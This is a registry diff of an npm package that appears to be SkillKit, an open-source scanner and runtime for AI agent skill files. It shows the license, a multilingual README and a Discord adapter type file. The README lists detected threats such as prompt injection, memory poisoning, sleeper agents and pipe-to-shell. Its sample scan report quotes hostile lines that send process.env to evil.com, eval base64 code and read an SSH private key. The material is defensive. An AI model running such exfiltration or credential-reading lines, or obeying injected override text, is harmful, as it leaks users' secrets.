skillshield 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (167) hide show
  1. package/LICENSE +21 -0
  2. package/README.md +400 -0
  3. package/dist/channels/discord.d.ts +18 -0
  4. package/dist/channels/discord.d.ts.map +1 -0
  5. package/dist/channels/discord.js +275 -0
  6. package/dist/channels/discord.js.map +1 -0
  7. package/dist/channels/index.d.ts +67 -0
  8. package/dist/channels/index.d.ts.map +1 -0
  9. package/dist/channels/index.js +127 -0
  10. package/dist/channels/index.js.map +1 -0
  11. package/dist/channels/slack.d.ts +20 -0
  12. package/dist/channels/slack.d.ts.map +1 -0
  13. package/dist/channels/slack.js +296 -0
  14. package/dist/channels/slack.js.map +1 -0
  15. package/dist/channels/telegram.d.ts +20 -0
  16. package/dist/channels/telegram.d.ts.map +1 -0
  17. package/dist/channels/telegram.js +223 -0
  18. package/dist/channels/telegram.js.map +1 -0
  19. package/dist/channels/whatsapp.d.ts +25 -0
  20. package/dist/channels/whatsapp.d.ts.map +1 -0
  21. package/dist/channels/whatsapp.js +187 -0
  22. package/dist/channels/whatsapp.js.map +1 -0
  23. package/dist/cli/commands/badge.d.ts +11 -0
  24. package/dist/cli/commands/badge.d.ts.map +1 -0
  25. package/dist/cli/commands/badge.js +98 -0
  26. package/dist/cli/commands/badge.js.map +1 -0
  27. package/dist/cli/commands/config.d.ts +3 -0
  28. package/dist/cli/commands/config.d.ts.map +1 -0
  29. package/dist/cli/commands/config.js +140 -0
  30. package/dist/cli/commands/config.js.map +1 -0
  31. package/dist/cli/commands/deploy.d.ts +3 -0
  32. package/dist/cli/commands/deploy.d.ts.map +1 -0
  33. package/dist/cli/commands/deploy.js +56 -0
  34. package/dist/cli/commands/deploy.js.map +1 -0
  35. package/dist/cli/commands/init.d.ts +3 -0
  36. package/dist/cli/commands/init.d.ts.map +1 -0
  37. package/dist/cli/commands/init.js +99 -0
  38. package/dist/cli/commands/init.js.map +1 -0
  39. package/dist/cli/commands/install.d.ts +3 -0
  40. package/dist/cli/commands/install.d.ts.map +1 -0
  41. package/dist/cli/commands/install.js +90 -0
  42. package/dist/cli/commands/install.js.map +1 -0
  43. package/dist/cli/commands/list.d.ts +3 -0
  44. package/dist/cli/commands/list.d.ts.map +1 -0
  45. package/dist/cli/commands/list.js +76 -0
  46. package/dist/cli/commands/list.js.map +1 -0
  47. package/dist/cli/commands/run.d.ts +3 -0
  48. package/dist/cli/commands/run.d.ts.map +1 -0
  49. package/dist/cli/commands/run.js +160 -0
  50. package/dist/cli/commands/run.js.map +1 -0
  51. package/dist/cli/commands/scan.d.ts +3 -0
  52. package/dist/cli/commands/scan.d.ts.map +1 -0
  53. package/dist/cli/commands/scan.js +133 -0
  54. package/dist/cli/commands/scan.js.map +1 -0
  55. package/dist/cli/commands/search.d.ts +3 -0
  56. package/dist/cli/commands/search.d.ts.map +1 -0
  57. package/dist/cli/commands/search.js +56 -0
  58. package/dist/cli/commands/search.js.map +1 -0
  59. package/dist/cli/index.d.ts +3 -0
  60. package/dist/cli/index.d.ts.map +1 -0
  61. package/dist/cli/index.js +70 -0
  62. package/dist/cli/index.js.map +1 -0
  63. package/dist/core/config.d.ts +167 -0
  64. package/dist/core/config.d.ts.map +1 -0
  65. package/dist/core/config.js +398 -0
  66. package/dist/core/config.js.map +1 -0
  67. package/dist/core/parser.d.ts +34 -0
  68. package/dist/core/parser.d.ts.map +1 -0
  69. package/dist/core/parser.js +462 -0
  70. package/dist/core/parser.js.map +1 -0
  71. package/dist/core/runtime.d.ts +68 -0
  72. package/dist/core/runtime.d.ts.map +1 -0
  73. package/dist/core/runtime.js +560 -0
  74. package/dist/core/runtime.js.map +1 -0
  75. package/dist/core/types.d.ts +525 -0
  76. package/dist/core/types.d.ts.map +1 -0
  77. package/dist/core/types.js +44 -0
  78. package/dist/core/types.js.map +1 -0
  79. package/dist/guard/index.d.ts +57 -0
  80. package/dist/guard/index.d.ts.map +1 -0
  81. package/dist/guard/index.js +238 -0
  82. package/dist/guard/index.js.map +1 -0
  83. package/dist/guard/patterns.d.ts +21 -0
  84. package/dist/guard/patterns.d.ts.map +1 -0
  85. package/dist/guard/patterns.js +797 -0
  86. package/dist/guard/patterns.js.map +1 -0
  87. package/dist/hub/index.d.ts +44 -0
  88. package/dist/hub/index.d.ts.map +1 -0
  89. package/dist/hub/index.js +144 -0
  90. package/dist/hub/index.js.map +1 -0
  91. package/dist/hub/registry.d.ts +52 -0
  92. package/dist/hub/registry.d.ts.map +1 -0
  93. package/dist/hub/registry.js +192 -0
  94. package/dist/hub/registry.js.map +1 -0
  95. package/dist/i18n/index.d.ts +19 -0
  96. package/dist/i18n/index.d.ts.map +1 -0
  97. package/dist/i18n/index.js +92 -0
  98. package/dist/i18n/index.js.map +1 -0
  99. package/dist/i18n/locales/en.d.ts +110 -0
  100. package/dist/i18n/locales/en.d.ts.map +1 -0
  101. package/dist/i18n/locales/en.js +123 -0
  102. package/dist/i18n/locales/en.js.map +1 -0
  103. package/dist/i18n/locales/es.d.ts +110 -0
  104. package/dist/i18n/locales/es.d.ts.map +1 -0
  105. package/dist/i18n/locales/es.js +123 -0
  106. package/dist/i18n/locales/es.js.map +1 -0
  107. package/dist/i18n/locales/pt.d.ts +110 -0
  108. package/dist/i18n/locales/pt.d.ts.map +1 -0
  109. package/dist/i18n/locales/pt.js +123 -0
  110. package/dist/i18n/locales/pt.js.map +1 -0
  111. package/dist/i18n/locales/zh.d.ts +110 -0
  112. package/dist/i18n/locales/zh.d.ts.map +1 -0
  113. package/dist/i18n/locales/zh.js +123 -0
  114. package/dist/i18n/locales/zh.js.map +1 -0
  115. package/dist/index.d.ts +168 -0
  116. package/dist/index.d.ts.map +1 -0
  117. package/dist/index.js +275 -0
  118. package/dist/index.js.map +1 -0
  119. package/dist/router/index.d.ts +89 -0
  120. package/dist/router/index.d.ts.map +1 -0
  121. package/dist/router/index.js +292 -0
  122. package/dist/router/index.js.map +1 -0
  123. package/dist/router/providers.d.ts +48 -0
  124. package/dist/router/providers.d.ts.map +1 -0
  125. package/dist/router/providers.js +733 -0
  126. package/dist/router/providers.js.map +1 -0
  127. package/dist/runtime/executor.d.ts +96 -0
  128. package/dist/runtime/executor.d.ts.map +1 -0
  129. package/dist/runtime/executor.js +389 -0
  130. package/dist/runtime/executor.js.map +1 -0
  131. package/dist/sandbox/index.d.ts +52 -0
  132. package/dist/sandbox/index.d.ts.map +1 -0
  133. package/dist/sandbox/index.js +248 -0
  134. package/dist/sandbox/index.js.map +1 -0
  135. package/dist/security/skillguard.d.ts +25 -0
  136. package/dist/security/skillguard.d.ts.map +1 -0
  137. package/dist/security/skillguard.js +137 -0
  138. package/dist/security/skillguard.js.map +1 -0
  139. package/dist/tools/index.d.ts +55 -0
  140. package/dist/tools/index.d.ts.map +1 -0
  141. package/dist/tools/index.js +276 -0
  142. package/dist/tools/index.js.map +1 -0
  143. package/dist/tools/web-engine.d.ts +158 -0
  144. package/dist/tools/web-engine.d.ts.map +1 -0
  145. package/dist/tools/web-engine.js +802 -0
  146. package/dist/tools/web-engine.js.map +1 -0
  147. package/dist/tools/web-tools.d.ts +173 -0
  148. package/dist/tools/web-tools.d.ts.map +1 -0
  149. package/dist/tools/web-tools.js +251 -0
  150. package/dist/tools/web-tools.js.map +1 -0
  151. package/dist/utils/errors.d.ts +44 -0
  152. package/dist/utils/errors.d.ts.map +1 -0
  153. package/dist/utils/errors.js +130 -0
  154. package/dist/utils/errors.js.map +1 -0
  155. package/dist/utils/logger.d.ts +28 -0
  156. package/dist/utils/logger.d.ts.map +1 -0
  157. package/dist/utils/logger.js +121 -0
  158. package/dist/utils/logger.js.map +1 -0
  159. package/examples/basic-usage.ts +276 -0
  160. package/examples/code-reviewer.skill.md +83 -0
  161. package/examples/creative-writer.skill.md +80 -0
  162. package/examples/data-analyzer.skill.md +61 -0
  163. package/examples/hello-world.skill.md +36 -0
  164. package/examples/sample-skill.md +156 -0
  165. package/examples/summarizer.skill.md +62 -0
  166. package/examples/translator.skill.md +45 -0
  167. package/package.json +110 -0
package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 ArtefactForge
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
package/README.md ADDED
@@ -0,0 +1,400 @@
1
+ <div align="center">
2
+
3
+ ```
4
+ ███████╗██╗ ██╗██╗██╗ ██╗ ██╗██╗████████╗
5
+ ██╔════╝██║ ██╔╝██║██║ ██║ ██╔╝██║╚══██╔══╝
6
+ ███████╗█████╔╝ ██║██║ █████╔╝ ██║ ██║
7
+ ╚════██║██╔═██╗ ██║██║ ██╔═██╗ ██║ ██║
8
+ ███████║██║ ██╗██║███████╗██║ ██╗██║ ██║
9
+ ╚══════╝╚═╝ ╚═╝╚═╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝
10
+ ```
11
+
12
+ **Snyk for AI Agent Skills — Scan, Test & Run Securely.**
13
+
14
+ The open-source security scanner and runtime for SKILL.md files. Detect malicious patterns, prompt injection, memory poisoning, credential theft, and supply chain attacks before they execute.
15
+
16
+ [![MIT License](https://img.shields.io/badge/license-MIT-blue.svg)](LICENSE)
17
+ [![npm version](https://img.shields.io/npm/v/skillkit.svg)](https://www.npmjs.com/package/skillkit)
18
+ [![Node.js](https://img.shields.io/badge/node-%3E%3D18-brightgreen.svg)](https://nodejs.org)
19
+ [![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg)](CONTRIBUTING.md)
20
+
21
+ [English](#english) | [Espanol](#espanol) | [中文](#中文) | [Portugues](#portugues)
22
+
23
+ </div>
24
+
25
+ ---
26
+
27
+ <a name="english"></a>
28
+
29
+ ## What is SkillKit?
30
+
31
+ SkillKit is an open-source security scanner and runtime for **SKILL.md** files — the standard format used by ClawHub's 13,700+ skills, Claude Code, OpenAI Codex, and VS Code Copilot. It scans for **72+ threat patterns** across **14 categories** including memory poisoning, prompt injection, and supply chain attacks — then executes safely in a sandboxed environment with **any AI model**.
32
+
33
+ ```bash
34
+ # Install and scan in 10 seconds
35
+ npm install -g skillkit
36
+ skillkit scan suspicious-skill.md
37
+ skillkit run safe-skill.md --provider groq
38
+ ```
39
+
40
+ ### Why SkillKit?
41
+
42
+ - **VirusTotal** only detects 57.7% of threats in OpenClaw skills
43
+ - **36% of ClawHub skills** have security flaws (Snyk research)
44
+ - **12% are actual malware** (ClawHavoc campaign)
45
+ - **SkillKit detects what others miss**: memory poisoning, sleeper agents, API key leaks, supply chain attacks
46
+
47
+ ### Security Comparison
48
+
49
+ | Feature | VirusTotal | Bitdefender | ClawSecure | **SkillKit** |
50
+ |---------|-----------|-------------|------------|------------|
51
+ | Open Source | No | No | No | **Yes (MIT)** |
52
+ | Free CLI | No | Yes (limited) | No | **Yes** |
53
+ | Detection Rate | 57.7% | ~60% | ~85% | **72+ patterns** |
54
+ | Prompt Injection | Basic | No | Yes | **Yes (6 patterns)** |
55
+ | Memory Poisoning | No | No | Partial | **Yes (7 patterns)** |
56
+ | Supply Chain | No | No | No | **Yes (6 patterns)** |
57
+ | API Key Detection | No | No | No | **Yes (10 formats)** |
58
+ | Sandbox Execution | No | No | No | **Yes (Process + Docker)** |
59
+ | CI/CD Integration | No | No | Paid | **Free GitHub Action** |
60
+
61
+ ### Quick Start
62
+
63
+ ```bash
64
+ # 1. Install globally
65
+ npm install -g skillkit
66
+
67
+ # 2. Scan a skill for threats BEFORE running it
68
+ skillkit scan my-skill.skill.md
69
+ # => Safety Score: 95/100 | APPROVED | 0 threats found
70
+
71
+ # 3. Run safely with any AI model
72
+ skillkit run my-skill.skill.md --provider groq
73
+ skillkit run my-skill.skill.md --provider openai --model gpt-4o
74
+
75
+ # 4. Scan a suspicious skill
76
+ skillkit scan evil-skill.skill.md
77
+ # => Safety Score: 12/100 | BLOCKED
78
+ # => CRITICAL: Memory poisoning detected (SOUL.md manipulation)
79
+ # => CRITICAL: API key exfiltration (sk- pattern found)
80
+ # => HIGH: Supply chain attack (curl | bash pattern)
81
+ ```
82
+
83
+ ### Threat Detection: 14 Categories, 72+ Patterns
84
+
85
+ | Category | Patterns | What It Catches |
86
+ |----------|---------|----------------|
87
+ | **Memory Poisoning** | 7 | SOUL.md/MEMORY.md manipulation, sleeper agents, cross-session persistence |
88
+ | **Prompt Injection** | 6 | Ignore instructions, fake [SYSTEM] tags, context reset, privilege escalation |
89
+ | **Sensitive Data** | 10 | OpenAI/Anthropic/AWS/Groq keys, JWT tokens, private keys, SSNs, credit cards |
90
+ | **Supply Chain** | 6 | npm/pip install in skills, pipe-to-shell, postinstall hooks, remote imports |
91
+ | **Code Injection** | 8 | eval(), exec(), spawn(), dynamic require, innerHTML, child_process |
92
+ | **Data Exfiltration** | 8 | fetch POST, XMLHttpRequest, curl, wget, sendBeacon, cloud storage copy |
93
+ | **Credential Theft** | 7 | process.env, .ssh/.aws files, .env files, hardcoded passwords, git credentials |
94
+ | **File System Abuse** | 7 | rm -rf, chmod, disk destruction, fs.writeFile to system paths |
95
+ | **Crypto Mining** | 4 | Mining pools, wallet addresses, coinhive, WebWorker mining |
96
+ | **Keylogger** | 4 | keydown/keyup listeners, clipboard access, keyboard simulation |
97
+ | **Obfuscation** | 4 | Base64 decode, String.fromCharCode, hex/unicode escapes |
98
+ | **Network Abuse** | 4 | Port scanning, DNS exfiltration, SSRF, SSH/Telnet |
99
+ | **Privilege Escalation** | 2 | sudo/su, SUID/SGID bits |
100
+ | **Malware** | 4 | Reverse shells, fork bombs, encoded PowerShell, exploitation frameworks |
101
+
102
+ ### Security Badge
103
+
104
+ Show the world your skills are verified. Generate a shields.io badge after scanning:
105
+
106
+ ```bash
107
+ # Generate badge for your skill
108
+ skillkit badge my-skill.skill.md
109
+ # => [![SkillKit Verified](https://img.shields.io/badge/...)](https://github.com/artefactforge/skillkit)
110
+
111
+ # Auto-append to your README
112
+ skillkit badge my-skill.skill.md --output README.md
113
+
114
+ # Choose badge style
115
+ skillkit badge my-skill.skill.md --style flat-square
116
+ ```
117
+
118
+ Badge levels:
119
+
120
+ | Score | Badge | Status |
121
+ |-------|-------|--------|
122
+ | 90-100 (0 threats) | ![Verified](https://img.shields.io/badge/SkillKit_Verified-100%2F100_%C2%B7_SAFE-00C853?style=flat-square) | **SAFE** — Verified clean |
123
+ | 80-89 | ![Approved](https://img.shields.io/badge/SkillKit_Scanned-85%2F100_%C2%B7_APPROVED-4CAF50?style=flat-square) | **APPROVED** — Minor observations |
124
+ | 50-79 | ![Review](https://img.shields.io/badge/SkillKit_Review-62%2F100_%C2%B7_REVIEW_REQUIRED-FF9800?style=flat-square) | **REVIEW REQUIRED** — Needs attention |
125
+ | 0-49 | ![Blocked](https://img.shields.io/badge/SkillKit_Blocked-12%2F100_%C2%B7_BLOCKED-F44336?style=flat-square) | **BLOCKED** — Do not execute |
126
+
127
+ ### Architecture
128
+
129
+ ```
130
+ skillkit/
131
+ ├── src/
132
+ │ ├── guard/ # SkillGuard — 72+ threat patterns, 14 categories
133
+ │ ├── sandbox/ # Process + Docker sandbox with shell:false isolation
134
+ │ ├── core/ # SKILL.md parser (Zod validated), runtime engine
135
+ │ ├── router/ # Multi-model router — 11 providers, 39+ models
136
+ │ ├── cli/ # CLI: scan, badge, run, init, search, install, list, deploy
137
+ │ ├── hub/ # ClawHub client + local skill registry
138
+ │ ├── channels/ # WhatsApp, Telegram, Discord, Slack adapters
139
+ │ ├── tools/ # Tool system (search, extract, crawl)
140
+ │ ├── i18n/ # EN, ES, ZH, PT translations
141
+ │ └── utils/ # Logger, error handling
142
+ ├── .github/workflows/ # GitHub Action for automated scanning
143
+ ├── examples/ # 8 example skills
144
+ └── tests/ # 36+ tests
145
+ ```
146
+
147
+ ### Supported Models
148
+
149
+ | Provider | Models | Free Tier | API Key Required |
150
+ |----------|--------|-----------|-----------------|
151
+ | **Ollama** (local) | Llama 3, Qwen 2.5, DeepSeek R1, Mistral, Gemma | **Unlimited (local)** | No |
152
+ | **DeepSeek** | deepseek-chat, deepseek-r1 | **500K tokens/day** | Yes (free) |
153
+ | **Qwen** (Alibaba) | qwen-plus, qwen-turbo, qwen-max | **1M tokens/mo** | Yes (free) |
154
+ | **Groq** | Llama 3.3, Mixtral | **14.4K req/day** | Yes (free) |
155
+ | **Google** | Gemini 2.0 Flash, Gemini 2.5 Pro | **15 req/min** | Yes (free) |
156
+ | **OpenAI** | GPT-4o, GPT-4o-mini, GPT-4 | Paid only | Yes |
157
+ | **Anthropic** | Claude Opus 4, Claude Sonnet 4 | Paid only | Yes |
158
+ | **Kimi** (Moonshot) | Moonshot v1 128k/32k/8k | Yes (limited) | Yes |
159
+ | **Zhipu** (BigModel) | GLM-4, GLM-4 Flash, GLM-4 Plus | Yes (limited) | Yes |
160
+ | **Together AI** | Llama, Mixtral, Code models | $25 free credit | Yes |
161
+ | **Fireworks** | Fast inference models | $1 free credit | Yes |
162
+
163
+ ### SkillGuard Security
164
+
165
+ SkillKit includes **SkillGuard**, a security scanner that detects malicious patterns in SKILL.md files before execution:
166
+
167
+ ```bash
168
+ $ skillkit scan suspicious-skill.md
169
+
170
+ SkillGuard Security Report
171
+ ─────────────────────────────────────
172
+ Safety Score: 23/100 BLOCKED
173
+
174
+ CRITICAL (2):
175
+ [C1] Code injection detected (line 42)
176
+ Evidence: eval(Buffer.from('...', 'base64').toString())
177
+
178
+ [C2] Data exfiltration attempt (line 67)
179
+ Evidence: fetch('https://evil.com/collect', { body: process.env })
180
+
181
+ HIGH (1):
182
+ [H1] Credential theft pattern (line 15)
183
+ Evidence: readFileSync(path.join(homedir(), '.ssh/id_rsa'))
184
+
185
+ Recommendation: DO NOT execute this skill.
186
+ ```
187
+
188
+ 72+ detection patterns across 14 categories — including 3 categories nobody else detects: **memory poisoning** (SOUL.md/MEMORY.md attacks), **sensitive data** (API key format detection for OpenAI, Anthropic, AWS, Groq, GitHub), and **supply chain attacks** (pipe-to-shell, postinstall hooks, remote imports).
189
+
190
+ ### Creating Your Own Skill
191
+
192
+ Skills are simple Markdown files with YAML frontmatter:
193
+
194
+ ```markdown
195
+ ---
196
+ name: my-awesome-skill
197
+ description: Does something amazing
198
+ version: 1.0.0
199
+ author: YourName
200
+ tags: [productivity, automation]
201
+ model_requirements:
202
+ minSize: medium
203
+ capabilities: [streaming]
204
+ inputs:
205
+ - name: task
206
+ type: string
207
+ description: What to do
208
+ required: true
209
+ outputs:
210
+ - name: result
211
+ type: string
212
+ description: The output
213
+ ---
214
+
215
+ # My Awesome Skill
216
+
217
+ You are a helpful assistant that [does something specific].
218
+
219
+ ## Instructions
220
+
221
+ 1. Take the user's input
222
+ 2. Process it in a specific way
223
+ 3. Return a structured result
224
+
225
+ ## Examples
226
+
227
+ **Input:** "example input"
228
+ **Output:** "example output"
229
+ ```
230
+
231
+ ### Contributing
232
+
233
+ We welcome contributions in all languages! See [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.
234
+
235
+ ```bash
236
+ git clone https://github.com/artefactforge/skillkit.git
237
+ cd skillkit
238
+ npm install
239
+ npm run dev
240
+ ```
241
+
242
+ ---
243
+
244
+ <a name="espanol"></a>
245
+
246
+ ## Que es SkillKit?
247
+
248
+ SkillKit es un escaner de seguridad open-source para archivos **SKILL.md** — el formato estandar de ClawHub, Claude Code, y OpenAI Codex. Detecta **72+ patrones maliciosos** en **14 categorias** incluyendo envenenamiento de memoria, inyeccion de prompts, robo de credenciales, y ataques de cadena de suministro — luego ejecuta de forma segura con **cualquier modelo de IA**.
249
+
250
+ ```bash
251
+ # Instalar y ejecutar en 10 segundos
252
+ npx skillkit init
253
+ skillkit run --skill email-assistant --model deepseek-r1
254
+ ```
255
+
256
+ ### Por que SkillKit?
257
+
258
+ | Caracteristica | OpenClaw | SkillKit |
259
+ |----------------|----------|----------|
260
+ | Modelos | Solo Claude | **11 proveedores** (Claude, GPT, DeepSeek, Qwen, Gemini, Ollama, Groq, Kimi, Zhipu, Together, Fireworks) |
261
+ | Costo | $20/mes minimo | **$0** con modelos locales/gratis (DeepSeek, Ollama) |
262
+ | Seguridad | 820+ skills maliciosos encontrados | **SkillGuard** escanea cada skill antes de ejecutarlo |
263
+ | Idiomas | Solo ingles | **EN, ES, ZH, PT** desde el dia 1 |
264
+ | Canales | Solo CLI | **CLI + WhatsApp + Telegram + Discord + Slack** |
265
+ | Instalacion | Configuracion compleja | **Un solo comando**: `npx skillkit init` |
266
+
267
+ ### Inicio Rapido
268
+
269
+ ```bash
270
+ # 1. Instalar
271
+ npm install -g skillkit
272
+
273
+ # 2. Configuracion interactiva (idioma, proveedor, API key)
274
+ skillkit init
275
+
276
+ # 3. Ejecutar un skill con tu modelo preferido
277
+ skillkit run --skill email-assistant --model deepseek-chat --input "Seguimiento propuesta cliente"
278
+
279
+ # 4. Escanear seguridad de un skill
280
+ skillkit scan clawhub://solana-wallet-tracker
281
+ # => BLOQUEADO: keylogger detectado (puntuacion: 12/100)
282
+
283
+ # 5. Ejecutar con modelo local GRATIS
284
+ skillkit run --skill data-analyst --model ollama/qwen2.5
285
+
286
+ # 6. Desplegar como bot de WhatsApp
287
+ skillkit deploy --channel whatsapp --skill customer-support
288
+ ```
289
+
290
+ ### Modelos Soportados
291
+
292
+ | Proveedor | Modelos | Tier Gratis |
293
+ |-----------|---------|-------------|
294
+ | **Ollama** (local) | Llama 3, Qwen 2.5, DeepSeek R1 | **Ilimitado** |
295
+ | **DeepSeek** | deepseek-chat, deepseek-r1 | **500K tokens/dia** |
296
+ | **Qwen** (Alibaba) | qwen-plus, qwen-turbo | **1M tokens/mes** |
297
+ | **Groq** | Llama 3.3, Mixtral | **14.4K req/dia** |
298
+ | **Google** | Gemini 2.0 Flash | **15 req/min** |
299
+
300
+ ### Contribuir
301
+
302
+ Aceptamos contribuciones en todos los idiomas. Consulta [CONTRIBUTING.md](CONTRIBUTING.md).
303
+
304
+ ---
305
+
306
+ <a name="中文"></a>
307
+
308
+ ## 什么是 SkillKit?
309
+
310
+ SkillKit 是一个开源运行时,可以执行 **SKILL.md** 文件——ClawHub 上 10,700+ 技能使用的标准格式——支持**任何 AI 模型**(Claude、GPT、DeepSeek、通义千问、Ollama、Gemini 等),支持**任何语言**,并内置**安全扫描**功能。
311
+
312
+ ```bash
313
+ # 10秒内安装并运行
314
+ npx skillkit init
315
+ skillkit run --skill email-assistant --model deepseek-r1
316
+ ```
317
+
318
+ ### 为什么选择 SkillKit?
319
+
320
+ | 特性 | OpenClaw | SkillKit |
321
+ |------|----------|----------|
322
+ | 模型支持 | 仅 Claude | **11 供应商**(Claude、GPT、DeepSeek、通义千问、Gemini、Ollama、Groq、Kimi、智谱 等) |
323
+ | 成本 | 最低 $20/月 | 使用本地/免费模型 **$0**(DeepSeek、Ollama) |
324
+ | 安全性 | 发现 820+ 恶意技能 | **SkillGuard** 在执行前扫描每个技能 |
325
+ | 语言 | 仅英文 | 第一天起支持 **EN、ES、ZH、PT** |
326
+ | 渠道 | 仅 CLI | **CLI + WhatsApp + Telegram + Discord + Slack** |
327
+ | 安装 | 复杂配置 | **一条命令**:`npx skillkit init` |
328
+
329
+ ### 快速开始
330
+
331
+ ```bash
332
+ # 1. 安装
333
+ npm install -g skillkit
334
+
335
+ # 2. 交互式设置(选择语言、供应商、API密钥)
336
+ skillkit init
337
+
338
+ # 3. 使用国产模型运行技能(免费)
339
+ skillkit run --skill data-analyst --model deepseek-chat --input "分析我的销售数据"
340
+
341
+ # 4. 使用本地模型(零成本)
342
+ skillkit run --skill email-assistant --model ollama/qwen2.5
343
+
344
+ # 5. 安全扫描
345
+ skillkit scan clawhub://solana-wallet-tracker
346
+ # => 已拦截:检测到键盘记录器(安全评分:12/100)
347
+ ```
348
+
349
+ ### 支持的国产模型
350
+
351
+ | 供应商 | 模型 | 免费额度 |
352
+ |--------|------|---------|
353
+ | **DeepSeek** | deepseek-chat, deepseek-r1 | 每日 50万 tokens |
354
+ | **通义千问** (阿里云) | qwen-plus, qwen-turbo, qwen-max | 每月 100万 tokens |
355
+ | **Ollama** (本地) | Qwen 2.5, DeepSeek R1, Llama 3 | 无限制(本地运行) |
356
+
357
+ ### 贡献
358
+
359
+ 我们欢迎所有语言的贡献!请参阅 [CONTRIBUTING.md](CONTRIBUTING.md)。
360
+
361
+ ---
362
+
363
+ <a name="portugues"></a>
364
+
365
+ ## O que e SkillKit?
366
+
367
+ SkillKit e um runtime open-source que executa arquivos **SKILL.md** — o formato padrao usado pelas 10.700+ skills do ClawHub — com **qualquer modelo de IA**, em **qualquer idioma**, com **varredura de seguranca integrada**.
368
+
369
+ ```bash
370
+ # Instalar e executar em 10 segundos
371
+ npx skillkit init
372
+ skillkit run --skill email-assistant --model deepseek-r1
373
+ ```
374
+
375
+ ### Inicio Rapido
376
+
377
+ ```bash
378
+ npm install -g skillkit
379
+ skillkit init
380
+ skillkit run --skill email-assistant --model deepseek-chat --input "Acompanhamento da proposta do cliente"
381
+ skillkit scan clawhub://solana-wallet-tracker
382
+ ```
383
+
384
+ ### Contribuir
385
+
386
+ Aceitamos contribuicoes em todos os idiomas! Consulte [CONTRIBUTING.md](CONTRIBUTING.md).
387
+
388
+ ---
389
+
390
+ <div align="center">
391
+
392
+ ## License
393
+
394
+ MIT License - See [LICENSE](LICENSE) for details.
395
+
396
+ Built with love by [ArtefactForge](https://artefactforge.ai)
397
+
398
+ **Star this repo** if SkillKit saves you time or money!
399
+
400
+ </div>
@@ -0,0 +1,18 @@
1
+ import { BaseChannelAdapter, ChannelResponse } from './index.js';
2
+ export declare class DiscordAdapter extends BaseChannelAdapter {
3
+ name: string;
4
+ private botToken;
5
+ private bot;
6
+ private interactionToken?;
7
+ constructor(botToken: string);
8
+ connect(): Promise<void>;
9
+ private setupEventHandlers;
10
+ private handleRunCommand;
11
+ private handleListCommand;
12
+ private handleScanCommand;
13
+ disconnect(): Promise<void>;
14
+ sendMessage(message: ChannelResponse): Promise<void>;
15
+ registerSlashCommands(): Promise<void>;
16
+ }
17
+ export declare function createDiscordAdapter(botToken: string): DiscordAdapter;
18
+ //# sourceMappingURL=discord.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"discord.d.ts","sourceRoot":"","sources":["../../src/channels/discord.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,kBAAkB,EAAkB,eAAe,EAAE,MAAM,YAAY,CAAC;AAiBjF,qBAAa,cAAe,SAAQ,kBAAkB;IACpD,IAAI,SAAa;IACjB,OAAO,CAAC,QAAQ,CAAS;IACzB,OAAO,CAAC,GAAG,CAAa;IACxB,OAAO,CAAC,gBAAgB,CAAC,CAAS;gBAEtB,QAAQ,EAAE,MAAM;IAKtB,OAAO,IAAI,OAAO,CAAC,IAAI,CAAC;IAkC9B,OAAO,CAAC,kBAAkB;YA+DZ,gBAAgB;YAqBhB,iBAAiB;YAuBjB,iBAAiB;IAoBzB,UAAU,IAAI,OAAO,CAAC,IAAI,CAAC;IAY3B,WAAW,CAAC,OAAO,EAAE,eAAe,GAAG,OAAO,CAAC,IAAI,CAAC;IA4DpD,qBAAqB,IAAI,OAAO,CAAC,IAAI,CAAC;CAoD7C;AAED,wBAAgB,oBAAoB,CAAC,QAAQ,EAAE,MAAM,GAAG,cAAc,CAErE"}